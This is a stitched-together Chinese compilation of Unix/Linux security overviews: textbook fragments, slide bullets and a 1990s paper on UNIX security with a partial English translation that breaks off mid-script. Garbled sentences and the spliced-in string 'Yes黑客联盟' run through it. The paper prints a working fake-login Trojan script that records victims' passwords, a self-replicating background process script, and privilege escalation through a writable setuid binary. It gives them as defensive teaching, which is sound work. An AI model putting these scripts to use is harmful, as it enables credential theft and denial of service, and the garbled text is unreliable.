UnixLinux系统的安全性概述
UNIX系统的安全性
7.8.3 UNIX系统的安全性参照OSI和TCP/IP协议的层次结构，可将UNIX的安全体系结构描述分成五个层次：①策略层：主要负责进行安全策略的需求分析、安全方针的制定以及安全策略的制定：②用户层：主要是负责网络设备的人员，这对于UNIX多用户环境下的应用进程也算在其中。
③主机层：包括计算机互联设备，如路由器、单一的UNIX主机等。
④包过滤层：对应用OSI的三层，通过用户层的进程和包过滤规则对IP包进行过滤。
一般的包过滤算法是采用查一张规则表来实现，它根据条件／动作这样的规则序列来判断是前向路由还是弃包。
⑤物理连接层：包括进行网络物理连接的设备，对应于OSI的第1、2层；网络中的各种加密设备等。
对于网络信息的机密性和完整性，可以在网络上通过加密措施来实现对于UNIX这样的分布式操作系统，要保证UNIX系统的安全性，必须从系统角度来考虑，以解决UNIX系统的多级安全互通问题。
对此，可采用多级安全的Socket来编程，实现多级安全的UNIX文件，进行网络的安全互通。
UNIX系统具有良好的安全性，按照可信计算机评价标准，可达到C2级标准。
按照C2 安全标准，它需要提供以下安全特征：(1)操作可靠性。
它用于保证系统的完整性，系统处于保护模式下，通过硬件和软件保证系统操作的可靠性。
(2)自主型访问控制。
允许用户改变安全级别和访问权限，系统有一个访问控制表(ACI)。
暮，系统有一个访问控~(3)对象的可用性。
当对象不再需要时，在它回到自由对象之前，必须被TCB清除。
(4)个人身份标识与验证。
它主要是为了确定用户的真实身份，如果用户登录时它采用扩展的DES算法对输入的Password进行加密。
(5)审计追踪。
它要求对使用身份标识和验证机制，文件的创建与修改、系统的管理的所有操作，以及其他有关的安全事件进行记录、以便系统管理员进行安全跟踪。
(6)网络文件系统。
UNIX系统还提供了分布式文件系统的网络管理。
Linux操作系统的安全性
Linux操作系统的安全性Linux操作系统的安全性是有目共睹的，相比Windows操作系统，到底Linux有哪些过人之处？这里我们就抛砖引玉，挑选三点重要的特点给大家说明，为什么说Linux操作系统安全性有其他系统无可比拟的优越性。
1、用户/文件权限的划分用户权限在Windows操作系统里也不陌生，但是Linux操作系统的用户权限和文件权限要比Windows操作系统里严格有效。
比较明显的一个案例就是，即便是你在Windows操作系统里设置了多用户，但是不同的用户之间通过一定的方式，还是能够互访文件的，这就失去了权限的意义。
LINUX文件权限针对的对象分三类（互斥的关系）：1. user（文件的拥有者）2. group（文件拥有者所在的组，但不包括user）3. other（其它用户，即user和group以外的）LINUX用一个3位二进制数对应着文件的3种权限（1表示有该权限，0表示无）：第1位读r 100 4第2位写w 010 2第3位执行x 001 1查看权限#ls -l第一列，一共10位（drwxrwxrwx），就代表了文件的权限：1）第一个d代表是一个目录，如果显示“-”，则说明不是一个目录2）2-4代表user的权限3）5-7代表group的权限4）8-10代表other的权限对于后9位：r 代表可读（read），其值是4w 代表可写（write），其值是2x 代表可执行（execute），其值是1- 代表没有相应权限，其值是0修改文件权限# chmod [ugoa][+-=][rwx] 文件名1）用户u 代表userg 代表groupo 代表othera 代表全部的人，也就是包括u，g和o2）行动+ 表示添加权限- 表示删除权限= 表示使之成为唯一的权限3）权限rwx也可以用数字表示法，不过很麻烦要自己算，比如rw=6常见权限-rw——（600）只有所有者才有读和写的权限-rw-r——r——（644）只有所有者才有读和写的权限，组群和其他人只有读的权限-rwx——（700）只有所有者才有读，写，执行的权限-rwxr-xr-x （755）只有所有者才有读，写，执行的权限，组群和其他人只有读和执行的权限-rwx——x——x （711）只有所有者才有读，写，执行的权限，组群和其他人只有执行的权限-rw-rw-rw- （666）每个人都有读写的权限-rwxrwxrwx （777）每个人都有读写和执行的权限，最大权限。
Linux系统的安全性和常见安全问题解析
Linux系统的安全性和常见安全问题解析Linux操作系统是一种广泛应用于各种设备和服务器的开源操作系统。
由于其开放性和安全性，Linux系统在许多领域被广泛使用。
本文将对Linux系统的安全性和常见安全问题进行解析。
一、Linux系统的安全性Linux系统之所以被认为是安全的，有以下几个原因：1. 开源性：Linux系统的源代码是公开的，任何人都可以审查和修改它。
这样的开放性使得漏洞和安全问题可以更快地被发现和修复。
2. 权限管理：Linux系统采用了严格的权限管理机制，通过用户和组的设置来限制不同的用户对系统资源的访问。
只有拥有相应权限的用户才能执行敏感操作，其他用户则无法干扰系统的安全。
3. 读写权限：Linux系统通过对文件和目录的读写权限进行控制来保护系统的安全。
只有具有相应权限的用户才能对文件进行操作，其他用户只能读取或执行文件。
4. 隔离性：Linux系统通过使用虚拟化技术和容器化技术来实现不同应用之间的隔离。
这样一来，即使一个应用程序被攻击，其他应用程序和系统依然可以保持安全。
二、常见安全问题及解决方法尽管Linux系统相对较为安全，但仍然存在一些常见的安全问题，需要我们关注和解决。
1. 弱密码：一个常见的安全问题是用户设置弱密码。
为了避免这个问题，用户应该设置包含大小写字母、数字和特殊字符的复杂密码，并定期更换密码。
2. 漏洞利用：即使Linux系统经常进行更新和修复，仍然存在一些漏洞可能被黑客利用。
为了解决这个问题，用户应该始终保持系统更新，并安装常见的安全补丁。
3. 权限不当：一个常见的错误是给予用户过多的权限，从而可能导致系统被攻击或滥用。
用户和管理员应该根据需要来分配权限，并定期审查和更新权限设置。
4. 网络攻击：Linux系统可能会受到来自外部网络的攻击，如DDoS攻击、端口扫描等。
为了防止这类攻击，用户应该启用防火墙、网络入侵检测系统等安全措施。
5. 病毒和恶意软件：虽然Linux系统相对于Windows系统来说更不容易受到病毒和恶意软件的感染，但仍然需要安装杀毒软件和定期进行系统扫描。
UNIX安全机制
5.1.2Unix/Linux安全机制Unix/Linux是一种多用户、多任务的操作系统，因而，Unix/Linux操作系统基本的安全功能需求就是不同用户之间避免相互干扰，禁止非授权访问系统资源。
下面介绍Unix/ Linux系统的主要安全机制。
1．Unix/Linux认证认证是Unix/Linux系统中的第一道关卡，用户在进入系统之前，首先经过认证系统识别身份，然后再由系统授权访问系统资源。
目前，Unix/Linux常用的认证方式如下。
(1)基于口令的认证方式基于口令的认证方式是Unix/Linux最常用的一种技术，用户只要给系统提供正确的用户名和口令就可以进入到系统。
(2)终端认证在Unix/Linux系统，还提供一个限制超级用户从远程登录的终端认证。
(3)主机信任机制Unix/Linux系统提供一个不同主机之间相互信任机制，这样使得不同主机用户之间无需系统认证就可以登录。
(4)第三方认证第三方认证是指非Unix/Linux系统自身带有的认证机制，而是由第三方提供的认证。
在Unix/Linux中，系统支持第三方认证，例如一次一密口令认证S/Key、Kerberos认证系统、插件武身份认证PAM(Pluggable Authentication Modules)。
2．Unix/Linux访问控制普通的Unix/Linux系统一般通过文件访问控制表ACL来实现系统资源的控制，也就是常说的“9bit”来实现。
例如，某个文件的列表显示信息如下：-rwxr-xr-1 test test 4月9日17:50 sample. txt由这些信息看出，用户test对文件sample. txt的访问权限有“读、写、执行”，而test 这个组的其他用户只有“读、执行”权限，除此以外，其他用户只有“读”权限。
3．Unix/Linux日志／审计审计机制也是Unix/Linux系统安全的重要组成部分，审计有助于系统管理员及时发现系统入侵行为或潜在的系统安全隐患。
《Linux系统安全》课件
01
最小权限原则
只给予用户和应用程序执行任务 所需的最小权限，避免权限的过 度分配。
加密原则
02
03
更新和维护原则
对重要数据和通信进行加密，确 保数据在传输和存储时的安全性 。
及时更新系统和软件，定期进行 安全检查和维护，以修复已知的 安全漏洞。
02
Linux系统用户和权限管理
用户账号管理
用户账号的创建与删除
应用程序日志文件
如Web服务器的访问日志、数据库 的查询日志等，记录应用程序的运行 情况和用户行为。
安全日志文件
如/var/log/auth.log、 /var/log/secure等，记录与系统安 全相关的操作和事件。
自定义日志文件
根据实际需求，可以自定义日志文件 来记录特定的事件或操作。
异常行为检测与应对
03
Linux系统防火墙配置
iptables防火墙配置
总结词
iptables是Linux系统中最常用的防火墙工具，用于配置网络数据包的过滤规则。
详细描述
iptables通过定义一系列的规则来控制网络数据包的进出，从而实现网络安全防护。用户可以根据实际需求配置 不同的规则，例如允许特定IP地址访问、禁止某些端口通信等。
灾难恢复计划
制定在发生灾难时恢复数据和系统的流程和 步骤。
测试与演练
定期测试灾难恢复计划以确保其有效性和可 行性。
数据安全审计
定期审查数据安全策略和措施，确保其符合 组织的安全需求和标准。
06
Linux系统安全审计与日志分析
安全审计工具使用
日志审计工具
用于收集、分析和报告系统日志的工具 ，如Logwatch、Snoopy等。
三个细节体现Unix操作系统安全性
另外值得一提的是，在用户登录时，Unix系统还跟其他操作系统一样，提供了一种更高级别的安全措施。即当用户登录到Unix系统时，根据系统安全策略，可以让用户强制更改管理员所赋予的口令。此时用户最好能够立即更改默认口令，设置一个只有自己知道的口令(连管理员可能都不知道)。毕竟账户名或者口令若太多人知道的话，会给操作系统带来一定的安全隐患。
所以从这个date命令中就可以看出，Unix系统在安全设计上确实比其他操作系统ix系统在安全与便利上达到了同一。
二、不提示具体的出错信息。
Unix系统跟其他操作系统一样，也是通过账户名与密码来保证操作系统的基本安全性。但是，笔者认为Unix在这方面可能考虑的更全面一点。
三、输出中不带有相应的表头。
利用命令who可以显示当前登陆用户的详细信息，如用户名、登陆的途径、登陆时间等内容。在Linux系统中也有类似的功能。不过两个系统有差异。
这个结果表示当前系统的登陆者有两个，都为Oracle(操作系统允许同一个账户通过不同的渠道登陆到操作系统，这也是Unix系统的一个特性。在Linux操作系统中也可以实线类似的功能，但是在微软操作系统中好像不行。后面会显示用户登录的途径、登陆系统的时间等等。但是让很多Unix系统的初学者感到困扰的就是，在输出结果中竟然没有一个相应的表头来说明各个列的含义。这一点可能让人看起来觉得Unix操作系统不怎么友好，但是却可以保障Unix系统的安全性。如一些Unix系统的高级安全策略都是基于这个特性所实现的。
UNIX系统安全
UNIX系统安全本文首先讨论了UNIX系统的一些安全保护机制: 1.注册标识和口令是UNIX系统安全性方法的核心; 2.文件安全是操作系统安全最重要的部分, UNIX系统的每一文件都有一系列控制信息决定了不同的用户对该文件的访问权限; 3.约束SHELL规定标准SHELL的一些命令无效, 如改变路径和重定向命令无效; 4.文件加密是保护用户重要文件不被他人盗取的一种必要手段.然后探讨了一些不安全的因素: 1.口令, 非法用户可通过未使用口令或口令泄密了的用户注册标识进入系统, 或者编写口令猜测程序获取其他用户甚至超级用户口令, 从而读取或破坏用户文件; 2.文件, 设置了不正确权限的文件是不安全的一个重要因素; 3.特洛伊木马, 是获取系统特权和用户口令的一种有效方法, 也许是最隐蔽的不安全因素; 4.设备特殊文件, 包括块设备和字符设备; 5.网络, 由于历史的原因, 它可能是UNIX系统中最不安全的部分; 6.其它, 如邮件, 后台命令, 任务调度和游戏等.最后提出了系统管理员和用户必须采取的一些安全措施.UNIX系统安全UNIX系统是为支持多用户而设计的, 故为多用户提供了访问机器的多种途径, 同时也为用户之间和多机之间通信提供了多种工具, 然而在当今世界上出于各种目的, 未授权人员常常打入计算机系统. 当我们越来越依赖于UNIX机器以及机器中的文件和数据时, 系统安全性也随之变得越来越重要, 虽然可以采取措施阻止非法访问, 但是一种复杂操作系统的自然趋势是时间越久安全性越差, 我们必须警惕安全性缺陷, 及时堵塞漏洞, 保护系统. 下面首先讨论UNIX的安全保护机制, 然后探讨一些不安全的因素, 最后提出相应的安全措施.I. UNIX的安全保护机制UNIX系统最初是为完全共享机器的小单位设计的, 没有严格限制任何用户对其他用户的文件命令的访问, 甚至对访问UNIX系统正常工作所需要的最敏感数据也不加限制. 随着时间的推移, 人们对安全性的看法发生了根本性的变化.现代UNIX系统和多数操作系统一样可靠. 如注册标识和口令, 文件权限及约束SHELL等保护机制的综合运用, 有效地保护了整个系统的安全.1. 注册标识和口令UNIX系统中, 安全性方法的核心是每个用户的注册标识(loginid)和口令(password). 要成功注册进入UNIX系统, 必须打入有效的用户标识, 一般还必须输入正确的口令. 口令是以加密形式存放在/etc/passwd文件中, 每个用户占一行, 另外几个系统正常工作所必需的标准系统标识也占一行. 每行由几个以冒号(:)分隔的域组成: 域1是用户标识, 域2是口令, 域3是用户标识数, 域4是用户组标识, 域5是注释, 域6是用户主目录, 最后一个域是用户注册shell的路径全名(缺省为/bin/sh).%cat/etc/passwsroot:Y0q0Fr68KMP8U:0:1:'[]':/:/bin/cshdaemon:*:1:1::/:sys:*:2:2::/:/bin/cshbin:*:4:8::/var/spool/uucppublic:news:*:6:6::/var/spool/news:/bin/cshsync::1:1::/:/bin/syncwwm:66XGDZDOR4Fjq:349:349:Wei wei ming:/pc/wwm:/bin/csh+::0:0:::早期UNIX版本中, 域2以加密形式放置用户的实际口令. 而SVR3的近期版本却引入了一个仅含加密后口令的文件即/etc/shadow. 它存放每个用户的标识及加密后的口令, 描述最后一次修改口令的时间, 允许修改口令的最早期限和必须修改口令的最晚期限. /etc/shadow中的行与/etc/passwd中的行对应./etc/shadow文件由命令pwconv生成. 手工修改/etc/passwd文件后, 必须立即运行pwconv, 保证/etc/shadow按照刚进行过的修改更新. 只有超级用户可对/etc/passwd和/etc/shadow进行修改.另外, 有些UNIX版本还显示最近一次使用用户标识的情况. 注册时显示:login : wwmpassword:Login last used : Fri Aug 7 22:24:41 CDT 1993如果显示时间晚于用户记忆中自己最近使用的时间, 则该标识就被别人占用过了, 该用户应立即修改口令.命令passwd改变口令, 一个口令至少要有6个字符长, 其中至少一个(最好两个)是非字母符号, 最好大小写混用和采用超常或非直觉字符序列, 不能容忍的平凡口令是用户的注册标识, 工程项目名, 地名或电话号码等.2. 文件权限文件安全是操作系统安全最重要的部分, UNIX系统每一文件都有一系列控制信息决定了不同的用户对该文件的访问权限. 下面是文件的权限位格式:U G T R W X/S R W X/S R W X/S| | | 用户同组其他调调粘整整着R: 读W: 写X/S : 执行/搜索主组位它们由四个八进制数组成: 第一个八进制数是调整uid位, 调整gid位和粘着位, 后面三个八进制数分别表示文件所有者, 同组用户和其他用户对该文件的访问权限. 下面是命令ls -l的输出形式:drwxr-sr-x 3 root 512 Oct 14 1990 nserve-rw-r--r-- 1 root 1145 Oct 14 1990 aliaseslrwxrwxrwx 1 root 10 Apr 27 14:18 adm->../var/admsrw-rw-rw- 1 root 0 Apr 12 06:42 logbrw-rw-rw- 1 root 16, 0 Apr 27 14:47 fd0acrw-rw-rw- 1 root 13, 0 Apr 27 14:47 mouse命令ls-l输出的左边给出了文件的访问权限或Yes黑客联盟访问方式, 其中最左边位含义为:- 说明为普通文件l 说明为链接文件d 说明为目录p 先进先出特别文件b 说明为块特别设备文件c 说明为字符特别设备文件系统提供了专门处理文件和目录的所属关系和访问权限问题几个命令:chown: 可以将文件所属转让chgrp: 改变文件所属小组chmod: 改变文件访问权限3. 约束shell标准shell提供用户许多功能, 如用户可在文件系统中漫游等, 然而几乎所有UNIX系统都提供另一个Yes黑客联盟为rsh的shell, rsh是标准shell的一个子集:. rsh规定目录改变命令无效. 包含字符"/", ">"和">>"的命令无效. 不能改变文件路径变量$PATH的值等但当rsh的用户在运行一个shell程序时, rsh将调用标准shell全权执行程序中的所有命令, 这时上述rsh的限制将不起作用. 因此, 更灵活的限制手段是由系统管理员编制一个专用的shell程序, 取代标准shell程序, 用户注册后即进入该shell, 程序执行终了时立即自动退出系统, 从而达到对一些用户进行严格管理和限制的目的.4. 文件加密正确的文件权限能限制非法用户对文件的访问, 但不能排除一些高明的入侵者和超级用户读取文件.ed, vi和emacs这类编辑程序选项-x提供一种生成并加密文件的能力, 在装入时对文件解密, 回写时再加密.UNIX系统还提供加密解密过滤程序crypt, 该命令从标准输入读, 向标准输出写. 有的系统还提供DES命令, 遗憾的是人们对UNIX的加密算法了解太深, 有一种打破crypt的程序是分析普通英语文本中和加密文件中字符的出现频率,因此, 过分相信文件加密是危险的, 但我们可以在加密前用另一个过滤程序改变字符出现的频率, 如用pack:%pack example.txt%cat example.txt.z | crypt >out.file解密时要扩张(unpack)这一文件, 另外压缩后通常可节约占原文件20%到40%的空间.%cat out.file | crypt >example.txt.z%unpack example.txt.z当然, 将文件写软盘或磁带上, 删除机器中的原文件, 妥善保管磁介质是最保险的方法.II. 不安全的因素前面我们讨论了UNIX的安全保护机制, 这些机制是有效的, 但并非是十分安全的, 关键是系统管理员和用户没有合理地运用这些机制.1. 口令由于UNIX允许用户不设置口令, 因而非法用户可通过/etc/passwd文件查出未使用口令的用户(或者即使设置了口令, 却泄露了出去), 盗用其名进入系统, 读取或破坏该用户的文件.另外就是口令猜测程序了, 入侵者不断地输入可能的口令(或者由程序产生), 进行加密并和/etc/passwd文件中的口令密文比较, 直到成功地获得某一用户的口令为止. 虽然这比较费时, 但由于用户在选择口令时的局限性, 成功的例子还是很多的.2. 文件我们正确设置文件权限, 某些设置可以增加文件的不安全因素, 让我们看几个设置了不正确权限的文件的例子:-rwxrwxrwx 1 root 1496 Oct 14 1990 /bin/ttydrwxrwxrwx 7 bin 2048 Aug 7 07:57 etc-rwsrwxrwx 1 root 8832 Oct 14 1990 /bin/df命令/bin/tty任何用户都有写许可, 意谓着谁都可以直接修改此命令或用另一文件替换此命令, 这往往会造成严重的后果.目录/etc对所有用户有写许可, 则任意用户可修改或替换该目录下的passwd 文件, 可以使超级用户没有口令, 从而以特权身份侵入系统./bin/df是调整uid的, 对该命令有写许可, 则用户可以用/bin/sh替换此df命令, 然后执行(实际是/bin/sh)即获得超级用户特权.从以上例子可看出, 文件的写权限往往是不安全的因素, 对于目录和使用调整位的文件来说更是危险.3. 特洛伊木马也许最隐蔽的不安全因素是特洛伊木马, 它是获得系统特权和用户口令的一种有效方法. 让我们看下面例子:#! /bin/sh# trap V1.o 1992.3.28# Function: Get the other user's password# Usage: trap pidif [ $# -ne 2 ]; thenecho "ERROR: invalid numbers of arguments"echo "Usage: trap pid"exit 1ficlear# change interrupt character. The default is DEL.stty instr +while [ 1]doecho -n ":V& login: "read usernameif[ "$username" != "" ]; thenbreakfidonestty -echoecho -n "Password: "read passwdecho ""echo $username $passwd >> /f/wwm/tmp/loginsleep 1echo "Login incorrect"stty echo# reset default interrupt character DEL (^?).stty intr# logout yourself username.kill -9 $1# OK.上面的shell程序伪装成录入程序, 非法用户在某终端上运行该程序后走开, 等待受骗者的到来, 就可轻易窃走该用户的口令.另外一些常见的情形是侵入者在某用户的一个目录下植入洛伊木马程序,一旦该用户在此目录下执行此程序, 侵入者便可以获取该用户权限, 进而破坏用户文件, 如伪装的pwd命令, ls命令和su命令等.4. 设备特殊文件UNIX系统的两类设备(块设备和字符设备)被当作文件看待, Yes黑客联盟为特别文件, 都在/dev目录下, 对于特别文件的访问, 事实上就访问了物理设备. 这些特别文件是系统安全的一个重要方面.1) 内存对物理内存和系统虚空间, System V 提供了相应的文件/dev/mem和/dev/kmem,mem是内存映象的一个特别文件, 它可以用于检验(甚至修补)系统. 若该文件用户可改写, 则可在其中植入洛伊木马或通过读取和改写主存内容而窃取系统特权.2) 块设备由于文件系统的操作自然牵涉到块设备的读写, UNIX System V对块设备的管理分为三层, 最高层是与文件系统的接口, 包括块设备的各种读写操作.例如磁盘, 如果一旦对盘有访问权限, 就可以修改其上的文件, UNIX允许安装不同的盘作为文件系统, 非法用户可以通过安装自己的软盘作为文件系统, 而其软盘上有修改后的系统文件, 如一些属于root的setuid程序, 这样他就可以安装自己的文件系统, 执行非法的setuid程序, 获取更高的特权.3) 字符设备例如终端设备, 在UNIX中, 每个用户都通过终端进入系统, 用户对其录入的终端有读写权限. 由于UNIX对文件权限的检查往往只在打开操作(open系统调用)时进行, 其后的操作往往不再检查, 因此某些用户进入系统后可以编写一监测程序, 读取其后用户录入该终端的输入信息.5. 网络UNIX的网络程序主要是uucp(UNIX to UNIX copy), uucp可以在UNIX系统之间传输文件和远程执行命令. 由于历史的原因, 它可能是UNIX系统中最不安全的部分.一种情况是用户可以使用uucp复制远程系统的/etc/passwd文件, 查出未使用口令的用户, 从而通过该用户进入远程系统; 另一种情形是在uucp机制中未加密的远程uucp号的口令存在一个普通系统文件/usr/lib/uucp/L.sys中,非法用户在窃取root权限后通过读取该文件而获得每一远程uucp帐号的口令,进而破坏远程系统.6. 其它1) 邮件在BSD, SUNOS等版本中, 实用程序/bin/mail首先调用mktemp()得到临时文件, 然后判断是发信还是读信. mail进程在得到文件名后打开文件写以前, mail进程可能会因为时间片用完而被迫放弃CPU, 这时其它进程占据CPU后, 可将某些重要的系统文件与临时文件链接, 等到mail再次运行时, 它要写入的临时文件实际上已变成系统文件(如/etc/passwd), 这样就可轻易篡改系统文件.2) 后台命令shell提供操作符&使用户在后台运行命令, UNIX系统允许用户建任意多个后台进程, 直到系统核心内部说明的最大值, 但远未达到这一极限之时, 系统性能即开始受损. 遗憾的是, 很多UNIX版本的ps命令不能很好地反映后台进程的状态. 下面是一个非常简单的shell程序:% cat call-selfcall-self% call-self &投入后台方式运行后, 将产生永无休止的进程, 即使是root也无法用kill命令终止它, 只有直至系统崩溃. 如果按如下方式运行, 情况又将如何?% cat call-selfcall-self &% call-self &3) 任务调度为使多进程都能够公平访问机器的单CPU, 操作系统内的分时机构必须在某一进程耗尽应分享的CPU资源后切换至另一进程, UNIX提供了计时和调度工具, 如at和batch命令. 如果对授权用户清单文件/usr/lib/cron下的at.allow和at.deny文件权限设置不对, 未授权用户可能就会对系统造成极大的破坏.另外, 还有如游戏, 很多游戏程序产生一些中间文件, 有些病毒程序和入侵者就可能会从这些文件侵入. 因此, 我们也必须对游戏提高警惕.III. 安全措施保护系统安全需要多方面的努力, 首先系统设计人员不断增强操作系统的安全性, 增加安全性检查, 提供更安全的系统版本和更多的安全检测工具; 其次, 系统管理员和用户都必须明确自己的职责, 共同保证系统安全.1. 系统管理员系统管理员担负着维护整个系统安全的重要使命, 必须谨慎地管理系统:1) 正确设置系统文件和系统目录的访问权限2) 选择root口令, 并定期更换. 认真确定root用户组权限, 制止不合法用户申请帐号3) 经常检查sulog文件, 查找可能的入侵者踪迹4) 检查/usr/lib/crontab文件内容, 防止有人蓄意破坏文件系统或埋植特洛伊木马5) 仔细认可用户安装自己的文件系统6) 对于网络环境:. 防止信息内容泄露. 防止通信量分析. 检查信息源的修改. 检查设备错误. 检查连接请求的冒充2. 用户用户要保证自己的信息, 必须充分正确地运用安全保护机制:1) 选择好口令, 并保存好, 定期更换2) 仔细设置.profile, umask和PA TH3) 对重要正文使用加密, 并做好备份4) 在通过终端录入系统时, 最好先清一下终端, 防止有诈5) 离开终端时, 一定要退出系统参考文献:[1] Stephen Coffin, UNIX使用大全, 电子工业出版社, 1991[2] 艾瑞云, 计算机操作系统安全问题, 计算机世界报, 1992.3.4[3] 朱鲁华, UNIX安全浅谈, 计算机世界报, 1990.12.5[4] 周尚德, UNIX的一个漏洞及分析, 电脑应用时代, 1992.1[5] 郭伟坚, 几种UNIX文件的安全保密方法, 计算机世界报, 1990.12.5[6] SUN microsystems, SunOS Reference Manual, 1991[7] 胡希明等, UNIX结构分析, 浙江大学出版社, 1991.2UNIX SECURITYWei Weiming[ABSTRACT]In this paper, we first introduced the basic mechanism of the securityin the UNIX system: 1) The cores of methods for system security arelogin-id and password for every user; 2) File-security is the mostimportant part of OS-security; 3) It is a considerable method that restricting to abuse shell;4)File-encryption is a necessary method for protecting important files.Them we discussed some insecurity factors of UNIX: 1) Unreliable restriction by password; 2) Files which permission be set up unsuitably; 3) Trojan horse which be used to steal system privilegedand user's password; 4) Device special files; 5) Network.UUCP of UNIX may be the most insecurity part of system; 6) Others.Finally, we suggest several steps to enhance system security forsystem administrator and general users.UNIX SECURITYUNIX is designed as a multi-user system which provides various waysfor users to visit the computer system and also provides various toolsfor users and computers to communicate with each other. Although all these facilities offer great convenience for users, they leaves the possibility for some unauthorized or illegal entries to the computer system which might cause great damage to the information in the computer and the computer system itself. So the security of the computer system become very important especially as we are more and more relying on the files and data in the computer. We do can take some measures to prevent the illegal entry to the computer,however,the longer the computer system is used, the less security it will be. We should keep an eye on thesecurity of the system and find any possible shortage of it so that we could keep the system perfect security.In this paper,we first introduce the basic mechanism of the securityin the UNIX system, then we will discuss some factors which could lead to the insecurity of the system and suggest some correspondent methodsto prevent them.I. THE MECHANISM OF UNIX SECURITYUNIX was primarily designed for users to share the system completely, there were not any limitation for user to access to other users file,any user could even visit the most sensible data which made the system's normal running possible. Now people's views about security has changed greatly, and modern UNIX system has become as safe and reliable as most of other operation systems, for example, it offers loginid and password, the permission to access the file and restricted SHELL, etc., which protect the system effectively.1. Loginid and passwordIn UNIX system, the keen step to keep safe is to demand the loginid and password of every user. To login successfully, one has to enter acceptable loginid and proper password in general. The encrypted passwords possessed one line in the file /etc./passwd, each line is devide into several fields by (;), field 1 is the userid, field 2 isthe passwd, field 3 is the number of userid, field 4 is the group id,field 5 is the interpretation, field 6 is the main directory of userand the last field is the full pathname used to login to SHELL byuser(default:/bin/sh).%cat/etc/passwdroot:Y0q0Fr68KMP8U:0:1:'[]':/:/bin/cshdaemon:*:1:1::/:sys:*:2:2::/:/bin/cshbin:*:4:8::/var/spool/uucppublic:news:*:6:6::/var/spool/news:/bin/cshsync::1:1::/:/bin/syncwwm:66XGDZDOR4Fjq:349:349:Wei wei ming:/pc/wwm:/bin/csh +::0:0:::Figure 1. file /etc/passwdIn early UNIX versions, field 2 is user's current encrypted password, recent version SVR3 create a file /etc/shadow which contains the encrypted passwords. It stores every userid and the encrypted password and prompt the time of last modification of password and the earliest deadline permitted to modify the password and latest deadline when the password must be modified. The line in /etc/shadow is correspondent to the line in /etc/passwd/etc/shadow is produced by command 'pwconv'. After modifying file /etc/passwd, running of command 'pwconv' is essential so that /etc/shadow can be renewed according to the just modified /etc/passwd. Only super user is allowed to modify /etc/passwd and /etc/shadow.Some other UNIX versions could show information about using the userid. When logging, is shows:login:wwmpassword:Login last used: Fri. Aug. & 22:24:41 CDT 1992Figure 2. login historyIf the time showed is later than the latest time user used thelogin, this userid must has been used by other user illegally. Theuser must change the password immediately.Password can be changed by command 'passwd'. A password should be at least six characters long and it will be better is the passwordincludes one or two nom-character sign and combines upper-case and lower-case letters and adopt abnormal character sequence. some bad choices of passwords are userid, project name, address and telephone numbers.2. File permissionThe security of the files is the most important part of the operating system. For each file in UNIX system, there is a series of information which decide the visiting permission of different user.U G T R W X/S R W X/S R W X/SU: user group otherG: R: readable W: writeable X/S: executable/searchableT: -: the permission is not grantedFigure 3. Character format of the file permissionThey consist of four octadic digits. The first is adjusting the Uidbit, adjusting Gid bit and sticking bit, the others are the permissionof the file's owner in same or different group.drwxr-sr-x 3 root 512 Oct 14 1990 nserve-rw-r--r-- 1 root 1145 Oct 14 1990 aliaseslrwxrwxrwx 1 root 10 Apr 27 14:18 adm->../var/admsrw-rw-rw- 1 root 0 Apr 12 06:42 logbrw-rw-rw- 1 root 16, 0 Apr 27 14:47 fd0acrw-rw-rw- 1 root 13, 0 Apr 27 14:47 mouseFigure 4. List file and directory with ls -lThe left of the output of command ls -l (long listing) is the- entry is a plain filel entry is a symbolic linkd entry is a directoryp entry is a FIFO (also known as "named pipe") fileb entry is a block special filec entry is a character special files entry is an AF_UNIX address family socketThe system provides several commands which process the relation between files and directory and visiting permission.chown: change ownerchgrp: change groupchmod: change mode3. Restricted shellThe standard shell has many functions such as the user roaming inthe file system. However, almost all of UNIX system have another shell called rsh(restricted shell) from the standard shell:. change directory is invalid in rsh. command include '/', '>' and '>>' is invalid.. the value of $PATH can not be changedWhen a shell program is running, the rsh will call the standard shellto excute all commands while the restriction of rsh is unacted. Thus,a better restriction is that the standard shell is replaced with special program compiled by system manager for the strict management and restriction to some users by the way of which the user enters the shell immediately after login and quits automatically immediately after the execution over.4. Encrypt the fileThe correct permission prevent an illegal user from visiting, but cannot prevent a clever user or a super user from reading or writing.The item -x from the edit program such as ed, vi and emacs providesa function being able to proc\duce and editing the encrypted file. When loaded, the file decrypted, when rewrite the file encrypted again.UNIX system also provides program crypt, the program of encryption and decryption from standard input to standard output. Some systemscan provide DES command (Encrypt or decrypt data using data encryption standard). The regret is that encryption in UNIX system is widely known. For example: An encryption program can analysis the frequency of the letters appear in the English novel and that of the letters appear inthe encryption file. So, it is danger to believe the encrypted file entirely. However, we can change the frequency of the letters with another filter program.e.g. pack%pack example.txt%cat example.txt.z | crypt >out.fileUnpack the file when decrypted. After packed, the space can besave 20%-40%.%cat out.file | crypt >example.txt.z%unpack example.txt.zOf course, the best way is that canceling the file after beingwritten on disk or tape and then keeping the magnetic media carefully.II. INSECURITY FACTORSAbove we talk about the mechanism of UNIX security. The mechanism is valid, but not safe completely because the system manager and user utilize the mechanism unreasonable.1. PasswordBecause UNIX permits the user not to install password, the illegal users can enter the system to read and write or destroy the file by usurping the user's name without password (or even set a password, but reveal) which can be found from the file /etc/passwd.Another way is to guess the password. The invaders input the possible password(or produce by excuting a program) continuously, encrypt and compare with the password file in /etc/passwd until successfully toget a password. Although this may waste time, there are many successes because of the limit passwords.2. FileWe must setup the file permission correctly. Some setup can add unsafe factors. Bellows are some examples of incorrect permission:-rwxrwxrwx 1 root 1496 Oct 14 1990 /bin/ttydrwxrwxrwx 7 bin 2048 Aug 7 07:57 etc-rwsrwxrwx 1 root 8832 Oct 14 1990 /bin/dfFigure 5. The incorrect permission of the file being setupAny user is permitted to write the command /bin/tty, which means that anyone can modify this command directly or replace the command with another file. So, the consequences would be disastrous.All users are permitted to write the directory of /etc, and any usercan modify or replace the password file under the directory to let the super user loose password, thus invading system as privileged dignity. The privileged dignity of the super user can be obtained by excuting/bin/df (in fact /bin/sh) replaced with /bin/sh which adjusts uid andis permitted to be written.From the above, we can see that the permission of the files is afactor of unsafe. It is danger for directory and the files using adjusting bit.3. Trojan horseMaybe the most covered factor of insecurity is Trojan horse, which is an effective method to obtain the system privilege and user's password. Following is an example:#! /bin/sh# trap V1.o 1992.3.28# Function: Get the other user's password# Usage: trap pidif [ $# -ne 2 ]; thenecho "ERROR: invalid numbers of arguments"echo "Usage: trap pid"exit 1ficlear# change interrupt character. The default is DEL.stty instr +while [ 1]doecho -n ":V& login: "read usernameif[ "$username" != "" ]; thenbreakfidonestty -echoecho -n "Password: "read passwdecho ""echo $username $passwd >> 